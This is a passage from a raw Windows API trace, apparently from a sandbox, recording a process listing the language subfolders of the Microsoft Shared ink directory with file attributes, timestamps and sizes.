ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0040.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.536] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.536] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.536] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.536] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.536] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0040.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.537] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.537] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.537] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.537] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.537] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0040.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.537] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.537] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.537] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.537] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.537] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0040.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.538] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.538] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.538] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.538] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.538] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0040.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.538] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.538] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.538] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.538] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.538] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0040.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.539] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.539] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.539] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.539] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.539] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0040.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.540] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.540] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0040.541] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.556] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.556] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0040.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.556] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.556] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.556] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.557] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.557] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0040.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.557] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.557] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.557] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.557] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.557] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0040.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.557] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.557] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0040.558] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.558] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.558] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0040.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.558] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.558] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: 